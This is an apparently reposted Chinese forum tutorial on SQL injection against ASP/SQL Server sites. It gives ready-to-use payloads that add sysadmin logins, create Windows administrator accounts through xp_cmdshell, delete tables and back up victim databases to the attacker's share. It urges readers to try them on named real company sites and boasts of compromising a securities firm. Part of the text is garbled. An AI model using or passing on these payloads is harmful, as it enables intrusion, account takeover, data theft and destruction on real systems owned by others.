程式 轉貼, 記不住來源地址了.
程的書上，原始碼例子就有這個漏洞存在，其實只是一些合法的ASP對SQL的請求，就留下後患無窮！
這種攻擊方法最早源於''or''1''=''1的漏洞（我們暫且稱其為漏洞），這個漏洞的原理我想大家因該都知道了，那麼隨之而來的便是;exec
sp_addlogin hax（在資料庫內添加一個hax使用者），但是這個方法的限制很大，首先ASP使用的SQL Server帳號是個管理員，其次請求的提交變
量在整個SQL語句的最後，因為有一些程式員採用SELECT * FROM news WHERE id=... AND topic=... AND .....
這種方法請求資料庫，那麼如果還用以上的例子就會
news.asp?id=2;exec sp_addlogin hax
變成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...
整個SQL語句在執行sp_addlogin的預存程序後有AND與判斷存在，語法錯誤，你的sp_addlogin自然也不能正常運行了，因此試試看下面這個方法
news.asp?id=2;exec sp_addlogin hax;--
後面的--符號把sp_addlogin後的判斷語句變成了注釋，這樣就不會有語法錯誤了，sp_addlogin正常執行！
那麼我們連一起來用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell ''net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes/active:yes /add'';--
news.asp?id=2;exec master.dbo.xp_cmdshell ''net localgroup administrators hax /add'';--
這樣，你在他的資料庫和系統內都留下了hax管理員帳號了
當然，前提條件是ASP用管理員帳號，所以虛擬空間大家就別試了，不會存在這個漏洞的。
以後我們會討論，如果對方的ASP不是用SQL管理員帳號，我們如何入侵，當然也會涉及到1433連接埠的入侵
當然大家可以試試看在id=2後面加上一個''符號，主要看對方的ASP怎麼寫了,再說說當ASP程式使用的SQL帳號不是管理員的時候我們該如何做。
你如天融信的首頁，有新聞內容，如下：
http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以試試看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--
呵呵，報語法錯誤，select 123錯誤，顯而易見，天融新的ASP在newid變數後面用''號結束
那麼試試看http://www.talentit.com.cn/news/news-2.asp?newid=117'';delete news;--
哈哈，我想只要表名猜對了，新聞庫就被刪了
通常ASP用的SQL帳號就算不是管理員也會是某個資料庫的owner,至少對於這個庫有很高的系統管理權限
但是我們不知道庫名該怎嗎？看看db_name()函數吧
開啟你的query analyzer，看看print db_name() ，呵呵，當前的資料庫名就出來了
以次類推，如下： declare @a sysname;set @a=db_name();backup database @a to disk=''你的IP你的共用目錄bak.dat'' ,name=''test'';--
呵呵，他的當前資料庫就備份到你的硬碟上了，接下來要做的大家心裡都明白了吧
同理這個方法可以找到對方的SQL的IP
先裝一個防火牆，開啟ICMP和139TCP和445TCP的警告提示
然後試試看news.asp?id=2;exec master.dbo.xp_cmdshell ''ping 你的IP''
如果防火牆提示有人ping你，那麼因該可以肯定對方的ASP用的是SQL的管理員權限，同時也確定了對方的SQL Server的準確位置，因為很多大 一點的網站考慮效能，會吧web服務和資料庫分開，當對方大上了補丁看不到原始碼時，我想只有這個方法能很快的定位對方的SQL Server的位置了
那麼，如果對方ASP沒有SQL管理員權限，我們就不能調用xp_cmdshell了，該怎麼辦？
別著急，試試看這個news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk=''你的IP你的共用目錄bak.dat''
,name=''test'';--
呵呵，你的防火牆該發出警告了，有人串連你的445或139(win9連接埠了，這樣，對方的SQL的ip一樣也可以暴露 那麼如果對方連某個資料庫的owner也不是的話，我們該怎麼辦？下次我會告訴大幸隕蟯rl希望大家通過vbscript提交，因為瀏覽器的地址欄會屏蔽一些特殊字元，這樣你的命令就不能完整傳輸了
window.location.herf=URL
補充：這個問題以前載網上也提出來過，但是只是一些簡單的xp_cmdshell調用限制很大，其實這裡面還有很多值得深入的地方比如 www.guosen.com.cn。國信證卷就有這個問題，而且他們採用ms的三層結構作的用以前說的xp_cmdshell做法就不行了，字串會被過濾，但是 我嘗試了，用sql的異類請求仍然可以在對方的機器上開啟telnet服務和administrators組的帳號！由於對方防火牆很嚴checkpoint資料報進出 都只開放80連接埠因此，要想獲得他的資料庫結構比較困難了，但是還是有辦法可以做到的：P
順便提醒大家注意一下關於sqloledb,db_name,openrowset,opendatasource這些系統函數當asp的sqlserver帳號只是一個普通使用者時，他們會很有用的！
